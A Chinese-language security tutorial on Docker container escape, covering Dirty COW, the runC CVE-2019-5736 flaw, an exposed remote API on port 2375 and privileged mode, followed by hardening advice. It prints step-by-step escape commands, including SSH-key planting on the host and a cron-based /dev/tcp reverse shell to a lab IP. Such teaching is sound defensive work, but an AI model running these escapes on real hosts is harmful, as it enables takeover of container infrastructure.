云原生安全 | docker容器逃逸
随着云计算技术的不断发展,越来越多的企业开始上“云”。云原生计算基金会(CNCF)提出了云原生(Cloud Native)的概念,云原生包含了一组应用的模式,用于帮助企业快速,持续,可靠,规模化地交付业务应用。云原生由微服务架构,DevOps 和以容器为代表的敏捷基础架构组成。
容器技术作为云原生的重要的基础架构,也面临越来越多的安全隐患,与其他虚拟化技术类似,在其面临的所有安全问题当中,逃逸问题最为严重,因为它直接影响到了承载容器的底层基础设施安全性。docker是目前主流的容器技术,今天我们来探讨一下docker逃逸的3种常见方式:内核漏洞引起的逃逸、相关程序漏洞引起的逃逸和docker配置不当引起的逃逸。
0x01 内核漏洞引起的逃逸
第一种逃逸方式,是利用宿主机的内核漏洞进行逃逸,典型的就是脏牛漏洞(Dirty COW CVE-2016-5195)。由于容器共享宿主机内核,可在容器中利用VDSO(Virtual Dynamic Shared Object,虚拟动态共享对象)内存空间中的clock_gettime() 函数对宿主机存在的脏牛漏洞发起攻击,获得root权限的shell。
漏洞POC:https://github.com/scumjr/dirtycow-vdso
我们在存在脏牛漏洞的linux宿主机中开启包含漏洞POC的容器dirtycow:
docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash
容器启动后,我们进入到docker容器中,编译并执行漏洞POC:
docker exec -it test /bin/bash
cd /dirtycow-vdso/
make
./0xdeadbeef
可以看到,我们成功利用脏牛内核漏洞,从docker容器中逃逸,并获得了宿主机的shell:
由此可见,系统内核漏洞如果得不到及时修复,不仅会对系统本身安全性造成危害,还可能会造成运行在该宿主机上的容器逃逸,在云环境下,给企业带来更大的安全风险。
0x02 相关程序漏洞引起的逃逸
第二种逃逸方式,利用相关程序漏洞进行逃逸,所谓相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞,相关程序组件如下图所示:
这里以相关程序组件中的runC漏洞(CVE-2019-5736)为例。runC是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI(command-line interface) 工具。runC是Docker中最为核心的部分,容器的创建,运行,销毁等操作最终都是通过调用runC完成。攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
漏洞POC:https://github.com/Frichetten/CVE-2019-5736-PoC
首先,编译go脚本生成攻击payload,设置反弹到本地的ip和端口:
编译生成payload:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)
接着在容器执行payload,同时开启监听,等待受害者去启动docker容器,当受害者执行docker exec -it 命令时,获得反弹shell,完成逃逸。
由于容器其他相关程序漏洞导致的逃逸还有Docker cp(CVE-2019-14271)、Docker build code execution (CVE-2019-13139)等等。
0x03 配置不当引起的逃逸
第三种逃逸方式,利用容器配置不当进行逃逸,包括remote api 未授权访问、特权模式等方式。
1、remote api 未授权访问
docker remote api可以执行docker命令,如果docker守护进程监听在0.0.0.0,又没有限制可以访问的IP,则任意用户可直接调用API来操作docker,造成未授权访问。
漏洞成因:
dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
任意用户可越权查看容器信息:
进一步利用上述信息进行docker逃逸。docker可以挂载宿主机的文件夹,同时docker默认使用root运行,这样就可以造成任意文件的读取和写入。我们可以挂载宿主机的/root到docker,然后写入我们自己生成的ssh公钥,就可以完成逃逸。
启动容器web1,并挂载宿主机/root 至容器/hack目录下
docker -H tcp://192.168.136.222:2375 run -id -v /root:/hack web1
进入容器:
docker -H tcp://192.168.136.222:2375 exec -it e33c97a4cc4f /bin/bash
发现宿主机/root成功挂载至容器/hack目录下:
进入/hack/.ssh目录中,写入我们的生成的公钥:
vi /hack/.ssh/authorized_keys
再利用我们的私钥就可以登录到宿主机中,完成逃逸:
2、特权模式(privileged)
使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,并通过写入计划任务等方式进行逃逸。
以特权模式启动docker容器web1
docker run -itd --privileged web1 /bin/bash
进入容器,查看磁盘文件:
docker exec -it 0e6fdba0a24c /bin/bash
root@0e6fdba0a24c:/# fdisk -l
将/dev/sda1 挂载到新建目录:
mkdir /test
mount /dev/sda1 /test
将计划任务写入到宿主机,反弹宿主机shell,完成逃逸:
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.136.1/12345 0>&1' >> /test/var/spool/cron/crontabs/root
0x04 docker安全防护
docker逃逸只是容器安全中的一部分,容器的安全是一个复杂的课题,涉及到容器构建、分发、运行、销毁的全生命周期和容器技术的整个生态。具体来说,容器安全除了包括传统的安全问题以外,还涉及镜像安全,容器守护进行安全、容器运行时安全、容器编排系统安全等等。
镜像安全:所有容器都是基于镜像运行,如果镜像的安全性受到威胁,那么将会给企业带来巨大安全隐患。Docker hub是在行业主流的镜像仓库,其由Docker官方提供。曾经有人对其镜像进行抽样,使用镜像安全扫描器clair对镜像扫描,发现安全的镜像只有24%,而风险镜像占到76%,其中高风险的镜像有67%,这说明镜像已经成为Docker安全中的一个重要的安全攻击防御战场了。
容器守护进程安全:docker守护进程需要root权限运行,这个在daemon安全上可能会带来很大的安风险;守护进程对外提供API服务,用于的容器和整个Docker的管理工作,这使得对这些接口进行安全保护是非常重要的,上文中的remote api未授权访问就是守护进程安全一个典型的例子。
容器运行时安全:容器在运行时也会产生安全问题,包括有磁盘资源限制问题,容器逃逸问题,容器DoS攻击与流量限制问题等等。Docker本身在安全处理上主要是利用kernel的namespace进行资源隔离已经使用cgroups限制资源使用,因此其安全性处理主要是依赖于kernel的安全处理能力,而目前linux kernel在namespace和cgroups层面所能做到的依然是很有限,并非完全隔离,像/proc,/sys,SELinux,time,syslog,/dev等未隔离。
容器编排系统安全:除了容器的镜像安全、守护进程的安全问题、运行时安全,容器生态中还有非常重要的一环,容器编排和调度,当下最主流的容器编排和调度系统kubernetes曾爆出过严重的用户提权漏洞(CVE-2018-1002105)。该漏洞可以从Kubernetes API服务器的网络中可以直接访问聚合API服务器,就可以提升权限对任何聚合API服务器端点进行API调用,以及对该聚合API服务器执行任何API请求。
参考资料:
1、
2、
3、